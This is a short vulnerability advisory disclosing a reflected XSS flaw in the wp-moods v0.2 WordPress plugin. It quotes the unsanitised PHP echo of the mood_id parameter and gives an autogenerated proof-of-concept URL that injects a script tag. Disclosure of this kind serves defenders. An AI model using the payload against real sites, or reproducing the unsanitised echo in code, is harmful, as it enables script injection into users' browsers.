Advisory #: 326
Title: Reflected XSS in wordpress plugin wp-moods v0.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-moods
Downloads: 529
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-moods
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-moods/wp-moods.php: 348: <input type="hidden" name="mood_id" value="<?php echo $_GET['mood_id'] ?>"/> The variable mood_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-moods/wp-moods.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-moods/wp-moods.php?mood_id="><script>alert(1);</script><"